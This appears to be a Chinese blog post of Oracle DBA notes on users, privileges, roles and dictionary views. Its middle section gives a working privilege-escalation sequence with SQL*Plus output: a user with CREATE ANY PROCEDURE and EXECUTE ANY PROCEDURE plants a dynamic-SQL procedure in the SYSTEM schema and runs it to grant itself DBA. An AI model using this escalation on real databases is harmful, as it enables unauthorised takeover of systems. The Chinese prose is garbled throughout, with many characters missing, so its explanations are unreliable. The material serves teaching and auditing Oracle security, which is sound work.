用户、权限、角色

简单表:

dba_tablespaces看表空名,型,大小等。

database_properties:查DB的所有性等,eg.default_temp_tablespace, nls_language

v$sessionsidusername,status前登,username空的是系户。

dba_users看所有的用,密账号状态时间,默表空profile

dba_ts_quotas看每户对表空的使用,usernametablespace_nameblocks

session_privs/session_roles别查看自己的限和角色

 

限信息的几张视图

dba_sys_privsdescribes system privileges granted to users and roles. This view does not display the USERNAME column.    

user_sys_privsdescribes system privileges granted to the current user. This view does not display the GRANTEE column, but instead displays the USERNAME column.自己的系统权

session_privslists the privileges that are currently available to the user.   

dba_tab_privsdescribes the object grants for which the current user is the

object owner, grantor, or grantee.

dba_col_privsdescribes all column object grants in the database.

统权select any table可以人看到任何被建的表,以dba开头据字典视图除外里就涉及到o7_dictionary_accessibility这个参数定了系统权限的限制(system privilege restriction),如果turesys模式(sys schema)中所有的象了。缺省然是false的。

人的表要具drop any table的系统权限:

SQL> show parameter o7

NAME                                 TYPE        VALUE

------------------------------------ ----------- ------------------------------

O7_DICTIONARY_ACCESSIBILITY          boolean     FALSE

SQL> alter system set o7_dictionary_accessibility = true;

alter system set o7_dictionary_accessibility = true

                 *

ERROR at line 1:

ORA-02095: specified initialization parameter cannot be modified

明在存中不能修改,只能在spfile里面修改。

SQL> alter system set o7_dictionary_accessibility = true scope = spfile;

 

System altered.   

#后生效。这样具有select any table限的哥就能看到了,这个开关不要开启

 

师检查oracle安全漏洞方法:

SQL> create user hacker identified by bbk_12345             

  2  default tablespace mytbs

  3  quota unlimited on mytbs;

User created.

SQL> grant create session to hacker;

Grant succeeded.

SQL> grant create any procedure, execute any procedure to hacker;

Grant succeeded.

SQL> conn hacker/bbk_12345

Connected.

SQL> select * from session_privs;

PRIVILEGE

----------------------------------------

CREATE SESSION

CREATE ANY PROCEDURE

EXECUTE ANY PROCEDURE

SQL> select * from session_roles;

no rows selected

SQL> create procedure system.h1(h1_str in varchar2) as

  2  begin

  3  execute immediate h1_str;

  4  end;

  5  /

Procedure created.

SQL> execute system.h1('grant dba to hacker');

PL/SQL procedure successfully completed.

SQL> select * from session_privs;

PRIVILEGE

----------------------------------------

CREATE SESSION

UNLIMITED TABLESPACE

CREATE ANY PROCEDURE

EXECUTE ANY PROCEDURE

 

SQL> conn hacker/bbk_12345

Connected.

SQL> select * from session_privs;    #这样便具有了DBA的所有

 

DML限,要授要有grant option建者是有的,建的

表需要指出该创建者!select * from u01.t 但是后面加any以后就是系统权限了!

 

grant grant any object privileges to u02;sys普通用,普通用就可以

任意授

grant select on u01.m to u03;

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值